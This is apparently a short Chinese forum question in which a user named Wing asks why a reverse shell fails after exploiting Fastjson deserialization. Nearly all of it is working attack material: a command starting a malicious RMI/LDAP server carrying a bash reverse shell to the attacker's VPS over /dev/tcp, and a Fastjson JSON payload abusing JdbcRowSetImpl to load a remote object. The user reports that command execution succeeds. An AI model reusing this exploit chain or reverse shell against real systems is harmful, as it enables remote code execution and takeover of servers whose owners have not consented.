关于反弹shell的问题

[Wing]

vps: java -cp fastjson_tool.jar HLDAPServer localhost 1099 "bash -i >& /dev/tcp/vps/8080 0>&1"

 {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://4xxx:1099/Object","autoCommit":true}}

可以执行命令,反弹的时候没收到请求,请教一下师傅
